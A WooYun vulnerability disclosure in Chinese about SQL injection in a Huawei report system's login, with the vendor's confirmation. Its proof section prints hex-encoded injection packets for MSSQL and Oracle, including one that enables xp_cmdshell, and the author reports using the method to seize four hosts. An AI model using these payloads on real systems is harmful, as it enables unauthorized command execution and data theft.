当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-083480

漏洞标题:华为某智能报表系统(C/S结构)存在特殊的SQL注入,可直接控制服务

相关厂商:华为技术有限公司

漏洞作者: wefgod

提交时间:2014-11-16 12:23

修复时间:2015-02-14 12:24

公开时间:2015-02-14 12:24

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-16: 细节已通知厂商并且等待厂商处理中
2014-11-20: 厂商已经确认,细节仅向厂商公开
2014-11-23: 细节向第三方安全合作伙伴开放
2015-01-14: 细节向核心白帽子及相关领域专家公开
2015-01-24: 细节向普通白帽子公开
2015-02-03: 细节向实习白帽子公开
2015-02-14: 细节向公众公开

简要描述:

华为某智能报表系统(C/S结构)存在特殊的SQL注入,可直接控制服务

详细说明:

系统就是叫华为智能报表系统
这里测试了下面截图上的两个版本(服务器端应该也是有一个对应的版本号的),一个是oracle数据库,一个是mssql

image001.png


客户端的截图如下:

image002.png


在软件中可以直接配置代理地址(必须这样配置,否则可能改包会比较困难,还好有这个功能……真人性化啊)

image004.png


登录也是走的http,但是传输的数据会做一些内部转换和unicode编码:

image005.png


从上图可以看出他带有一个userid字段和一个password字段,只是相关字符是使用的unicode编码,另外把一般web里面的等号和&做了另外一个转换,跟着他的规则走即可。
服务器端返回的其中一种结果如下:

image007.png


漏洞证明:

在服务器端处理userid这个参数的时候没有做好过滤,客户端检测到单引号’的时候会自动转换然后再提交到服务器,所以我们可以直接改数据包即可,比如我发送以下数据包过去(这里就用16进制视图了):
http://1.1.1.1:8988/RptServlet?rptSessionId=&packageId=RptLogin&action=Login&TaskId=12

00000000h: 55 00 73 00 65 00 72 00 49 00 64 00 04 00 27 00 ; U.s.e.r.I.d...'.
00000010h: 20 00 61 00 6E 00 64 00 20 00 40 00 40 00 76 00 ; .a.n.d. .@.@.v.
00000020h: 65 00 72 00 73 00 69 00 6F 00 6E 00 3E 00 30 00 ; e.r.s.i.o.n.>.0.
00000030h: 20 00 61 00 6E 00 64 00 20 00 27 00 31 00 27 00 ; .a.n.d. .'.1.'.
00000040h: 3D 00 27 00 31 00 05 00 55 00 73 00 65 00 72 00 ; =.'.1...U.s.e.r.
00000050h: 50 00 61 00 73 00 73 00 77 00 6F 00 72 00 64 00 ; P.a.s.s.w.o.r.d.
00000060h: 04 00 31 00 39 00 4A 00 41 00 60 00 70 00 53 00 ; ..1.9.J.A.`.p.S.
00000070h: 35 00 51 00 7E 00 61 00 78 00 3E 00 39 00 41 00 ; 5.Q.~.a.x.>.9.A.
00000080h: 5C 00 05 00 ; \...


很明显可以看出是mssql的注入语句,返回的数据包如下:

image009.png


里面明显包含有一些错误信息,再看看客户端解码后的截图:

image011.png


明显爆出了mssql的版本号!
上面是mssql的版本,再提供一个oracle数据库的:
Userid插入以下数据即可:

00000000h: 27 00 20 00 61 00 6E 00 64 00 20 00 31 00 3D 00 ; '. .a.n.d. .1.=.
00000010h: 75 00 74 00 6C 00 5F 00 69 00 6E 00 61 00 64 00 ; u.t.l._.i.n.a.d.
00000020h: 64 00 72 00 2E 00 67 00 65 00 74 00 5F 00 68 00 ; d.r...g.e.t._.h.
00000030h: 6F 00 73 00 74 00 5F 00 61 00 64 00 64 00 72 00 ; o.s.t._.a.d.d.r.
00000040h: 65 00 73 00 73 00 28 00 28 00 73 00 65 00 6C 00 ; e.s.s.(.(.s.e.l.
00000050h: 65 00 63 00 74 00 20 00 62 00 61 00 6E 00 6E 00 ; e.c.t. .b.a.n.n.
00000060h: 65 00 72 00 20 00 66 00 72 00 6F 00 6D 00 20 00 ; e.r. .f.r.o.m. .
00000070h: 73 00 79 00 73 00 2E 00 76 00 5F 00 24 00 76 00 ; s.y.s...v._.$.v.
00000080h: 65 00 72 00 73 00 69 00 6F 00 6E 00 20 00 77 00 ; e.r.s.i.o.n. .w.
00000090h: 68 00 65 00 72 00 65 00 20 00 72 00 6F 00 77 00 ; h.e.r.e. .r.o.w.
000000a0h: 6E 00 75 00 6D 00 3D 00 31 00 29 00 29 00 2D 00 ; n.u.m.=.1.).).-.
000000b0h: 2D 00 ; -.


image012.png


所以只要适当改造,就有办法拿到权限了,下面给出mssql版开启cmdshell的数据包

00000000h: 55 00 73 00 65 00 72 00 49 00 64 00 04 00 27 00 ; U.s.e.r.I.d...'.
00000010h: 20 00 3B 00 45 00 58 00 45 00 43 00 20 00 73 00 ; .;.E.X.E.C. .s.
00000020h: 70 00 5F 00 63 00 6F 00 6E 00 66 00 69 00 67 00 ; p._.c.o.n.f.i.g.
00000030h: 75 00 72 00 65 00 20 00 27 00 73 00 68 00 6F 00 ; u.r.e. .'.s.h.o.
00000040h: 77 00 20 00 61 00 64 00 76 00 61 00 6E 00 63 00 ; w. .a.d.v.a.n.c.
00000050h: 65 00 64 00 20 00 6F 00 70 00 74 00 69 00 6F 00 ; e.d. .o.p.t.i.o.
00000060h: 6E 00 73 00 27 00 2C 00 20 00 31 00 3B 00 52 00 ; n.s.'.,. .1.;.R.
00000070h: 45 00 43 00 4F 00 4E 00 46 00 49 00 47 00 55 00 ; E.C.O.N.F.I.G.U.
00000080h: 52 00 45 00 3B 00 45 00 58 00 45 00 43 00 20 00 ; R.E.;.E.X.E.C. .
00000090h: 73 00 70 00 5F 00 63 00 6F 00 6E 00 66 00 69 00 ; s.p._.c.o.n.f.i.
000000a0h: 67 00 75 00 72 00 65 00 20 00 27 00 78 00 70 00 ; g.u.r.e. .'.x.p.
000000b0h: 5F 00 63 00 6D 00 64 00 73 00 68 00 65 00 6C 00 ; _.c.m.d.s.h.e.l.
000000c0h: 6C 00 27 00 2C 00 20 00 31 00 3B 00 52 00 45 00 ; l.'.,. .1.;.R.E.
000000d0h: 43 00 4F 00 4E 00 46 00 49 00 47 00 55 00 52 00 ; C.O.N.F.I.G.U.R.
000000e0h: 45 00 3B 00 2D 00 2D 00 05 00 55 00 73 00 65 00 ; E.;.-.-...U.s.e.
000000f0h: 72 00 50 00 61 00 73 00 73 00 77 00 6F 00 72 00 ; r.P.a.s.s.w.o.r.
00000100h: 64 00 04 00 41 00 39 00 37 00 41 00 74 00 70 00 ; d...A.9.7.A.t.p.
00000110h: 27 00 23 00 51 00 70 00 37 00 47 00 6B 00 39 00 ; '.#.Q.p.7.G.k.9.
00000120h: 41 00 4A 00 05 00 ; A.J...


按上面的规则提交之后,就开启了cmdshell
接着提供添加用户及添加用户组的数据包(看测试代码吧哈哈,其实根据上面也可以改出来了)
登录到系统后的数据库截图(数据库名一般都是BAM)

image013.png


管理表截图

image015.png


Mssql的用这个方法一共拿下四台主机。

image017.png


image018.png


image019.png


为了避嫌就不发更多的截图了

修复方案:

华为比较擅长

版权声明:转载请注明来源 wefgod@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-11-20 09:55

厂商回复:

感谢白帽子对华为公司的关注和支持,经调查含有漏洞的系统已经处于EOS(End of Service),华为已提供了其他替代产品,建议用户使用新的产品。

最新状态:

暂无